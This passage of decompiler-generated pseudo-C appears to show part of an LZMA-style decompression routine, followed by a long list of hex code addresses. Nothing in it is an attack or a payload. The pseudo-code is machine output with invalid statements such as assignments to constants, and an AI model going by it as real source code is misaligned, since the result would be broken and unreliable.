								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004062f4
0x004062f4
0x004062f8
0x004063af
0x004063b2
0x004063be
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x00000000
0x00406687
0x004062fe
0x00406302
0x00406843
0x00406843
0x00406846
0x0040684a
0x0040684a
0x00406308
0x0040630e
0x00406311
0x00406315
0x00406318
0x0040631c
0x004067e2
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00000000
0x0040683f
0x00406322
0x00406325
0x0040632b
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00406356
0x00406356
0x00406356
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00000000
0x00406611
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
